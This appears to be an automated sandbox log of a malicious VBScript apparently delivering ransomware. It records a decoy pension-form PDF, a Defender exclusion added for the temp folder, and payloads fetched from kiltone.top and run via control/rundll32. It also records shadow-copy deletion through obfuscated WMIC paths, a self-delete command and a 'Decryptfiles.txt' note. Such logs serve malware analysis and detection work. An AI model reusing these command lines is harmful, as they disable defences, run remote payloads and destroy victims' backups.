Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\control.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cpl

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2040,i,2996806537159820788,4098969065651386126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\control.exe control C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c %temp%/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user\AppData\Local\Temp/eryy65ty.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c control C:\Users\user\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2040,i,2996806537159820788,4098969065651386126,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath $env:tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\control.exe control C:\Users\user\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\control.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user\AppData\Local\Temp/fjeljies.cpl	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user\AppData\Local\Temp/fjeljies.cpl
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c %temp%/eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\eryy65ty.exe C:\Users\user\AppData\Local\Temp/eryy65ty.exe
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user\AppData\Local\Temp\eryy65ty.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
